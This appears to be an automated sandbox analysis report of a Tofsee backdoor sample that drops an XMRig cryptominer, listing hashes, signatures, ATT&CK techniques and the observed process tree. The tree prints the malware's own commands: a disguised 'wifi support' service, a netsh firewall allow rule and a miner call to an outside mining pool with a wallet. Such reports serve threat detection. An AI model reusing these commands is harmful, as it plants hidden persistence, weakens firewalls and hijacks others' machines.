Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13-02-2021 11:30

General

  • Target

    keevgpgi.exe

  • Size

    11.6MB

  • MD5

    cecab87eece6151682a5dffe04831bb6

  • SHA1

    e3d6a4c3d0f25f63abf5aa5c906da1b681462714

  • SHA256

    27a880b8a04d59fa74e9ca0c7db57718599f1efca0c593739c12cb1fad9040dc

  • SHA512

    1d39a758f9415b493fee4bc0921bfa627d2939d21386a7cd3b9b8f216d75e5025a5f3ff6414b6bfaf2a8acac817cf42a77005677e99ff10094572318a4933ebd

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe
    "C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\isgudbed\
      2⤵
        PID:1644
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lcyfwvzd.exe" C:\Windows\SysWOW64\isgudbed\
        2⤵
          PID:1788
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create isgudbed binPath= "C:\Windows\SysWOW64\isgudbed\lcyfwvzd.exe /d\"C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1684
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description isgudbed "wifi internet conection"
            2⤵
              PID:852
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start isgudbed
              2⤵
                PID:1488
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1616
              • C:\Windows\SysWOW64\isgudbed\lcyfwvzd.exe
                C:\Windows\SysWOW64\isgudbed\lcyfwvzd.exe /d"C:\Users\Admin\AppData\Local\Temp\keevgpgi.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:432
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1064
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool-pay.com:6199 -u 9jNvTpsSutBLodbiiRngN2S4AfM84WJ4Y8zRpo6H4QPBK625huByLqkiCTh5Uog1qHVBr7cyZfbA1GiiPqSsSv83HAiirSf.50000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:560

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\lcyfwvzd.exe
                MD5

                7485e52e8e26e113490134e515e2b095

                SHA1

                622590de462c803f7bda2e701e04d62aeac4a223

                SHA256

                8c38c6e51e52b196a2fb6f2994c593470c63f7dda6c3f93122fa167e769d6198

                SHA512

                8b6aa783ec673d7700f8632f871d6e7496d9b9558f1e5a8bde41b70b69d2ba21a124c91adf08f7733ed1dca9fdcc998df9c2ee2cac946abdfc56d2f79aac2a0d

              • C:\Windows\SysWOW64\isgudbed\lcyfwvzd.exe
                MD5

                7485e52e8e26e113490134e515e2b095

                SHA1

                622590de462c803f7bda2e701e04d62aeac4a223

                SHA256

                8c38c6e51e52b196a2fb6f2994c593470c63f7dda6c3f93122fa167e769d6198

                SHA512

                8b6aa783ec673d7700f8632f871d6e7496d9b9558f1e5a8bde41b70b69d2ba21a124c91adf08f7733ed1dca9fdcc998df9c2ee2cac946abdfc56d2f79aac2a0d

              • memory/432-20-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/432-14-0x0000000000660000-0x0000000000671000-memory.dmp
                Filesize

                68KB

              • memory/560-28-0x000000000020259C-mapping.dmp
              • memory/560-26-0x0000000000170000-0x0000000000261000-memory.dmp
                Filesize

                964KB

              • memory/852-10-0x0000000000000000-mapping.dmp
              • memory/1064-24-0x00000000000E0000-0x00000000000E6000-memory.dmp
                Filesize

                24KB

              • memory/1064-25-0x00000000000F0000-0x0000000000100000-memory.dmp
                Filesize

                64KB

              • memory/1064-16-0x00000000000C0000-0x00000000000D5000-memory.dmp
                Filesize

                84KB

              • memory/1064-17-0x00000000000C9A6B-mapping.dmp
              • memory/1064-23-0x0000000001D30000-0x0000000001F3F000-memory.dmp
                Filesize

                2.1MB

              • memory/1340-2-0x0000000000810000-0x0000000000821000-memory.dmp
                Filesize

                68KB

              • memory/1340-5-0x0000000000400000-0x0000000000415000-memory.dmp
                Filesize

                84KB

              • memory/1340-4-0x0000000000020000-0x0000000000033000-memory.dmp
                Filesize

                76KB

              • memory/1340-3-0x0000000076691000-0x0000000076693000-memory.dmp
                Filesize

                8KB

              • memory/1488-11-0x0000000000000000-mapping.dmp
              • memory/1616-12-0x0000000000000000-mapping.dmp
              • memory/1644-6-0x0000000000000000-mapping.dmp
              • memory/1684-9-0x0000000000000000-mapping.dmp
              • memory/1788-7-0x0000000000000000-mapping.dmp